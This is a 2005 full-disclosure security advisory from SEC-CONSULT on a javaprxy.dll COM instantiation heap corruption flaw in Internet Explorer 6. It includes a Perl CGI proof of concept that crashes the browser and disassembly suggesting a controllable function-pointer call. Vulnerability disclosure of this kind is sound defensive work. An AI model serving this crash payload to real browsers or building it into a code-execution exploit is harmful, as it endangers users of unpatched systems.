full-disclosure - SEC-CONSULT SA-20050629-0

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Message-ID: <42C2534F.9060006@sec-consult.com>
Date: Wed Jun 29 08:46:32 2005
From: research at sec-consult.com (Bernhard Mueller)
Subject: SEC-CONSULT SA-20050629-0

SEC-CONSULT Security Advisory < 20050629-0 >
==================================================================================
             title: IE6 javaprxy.dll COM instantiation heap corruption
                    vulnerability
           program: Internet Explorer
vulnerable version: 6.0.2900.2180
          homepage: www.microsoft.com
             found: 2005-06-17
                by: sk0L & Martin Eiszner / SEC-CONSULT /
www.sec-consult.com
==================================================================================

background:
---------------

Internet Explorer supports instantiation of non-ActiveX controls, e.g
COM objects, via <object> tags. according to M$, COM components respond
gracefully to attempts to treat them as non-ActiveX controls. on the
contrary, we found that at least 20 of the objects available on an
average XP system either lead to an instant crash or an exception after
a few reloads.

vulnerability overview:
---------------

Loading HTML documents with certain embedded CLSIDs results in
null-pointer exceptions or memory corruption. in one case, we could
leverage this bug to overwrite a function pointer in the data segment.
it *may* be possible to exploit this issue to execute arbitrary code in
the context of IE.

proof of concept:
---------------

this simple CGI should crash IE.

---------------

#!/usr/bin/perl

# in order for this to work javaprxy.dll must be available on the client.

my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0'; # javaprxy.dll

my $html1 = "<html><body>\n<object
classid=\"CLSID:".$clsid."\"></object>\n";
my $html2 = "\n</body><script>location.reload();</script></html>\n";

print "Content-Type: text/html;\r\n\r\n";

print $html1.("A"x30000).$html2;

---------------

on our lab machine, we, end up with eax=00410041, and an exception
occurs at the following location in javaprxy.dll:

---------------

.text:7C508660                 mov     eax, [ecx]
.text:7C508662                 test    eax, eax
.text:7C508664                 jz      short locret_7C50866C
.text:7C508666                 mov     ecx, [eax]
.text:7C508668                 push    eax
.text:7C508669                 call    dword ptr [ecx+8]

---------------

as you can see, this situation may be exploitable, considering that we
have some level of control over eax.

vulnerable versions:
---------------

javaprxy.dll 5.00.3810
internet explorer 6.0.2900.2180.xpsp_sp2_gdr.050301-1519

these are the versions tested, other versions may of course be vulnerable.

vendor status:
---------------
vendor notified: 2005-06-17
vendor response: 2005-06-17
patch available: ?

microsoft does not confirm the vulnerability, as their product team can
not reproduce condition. however, they are looking at making changes to
handle COM objects in a more robust manner in the future.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
< Bernhard M?ller / Martin Eiszner  > / www.sec-consult.com /
SGT ::: walter|bruder, flo, tke, dfa :::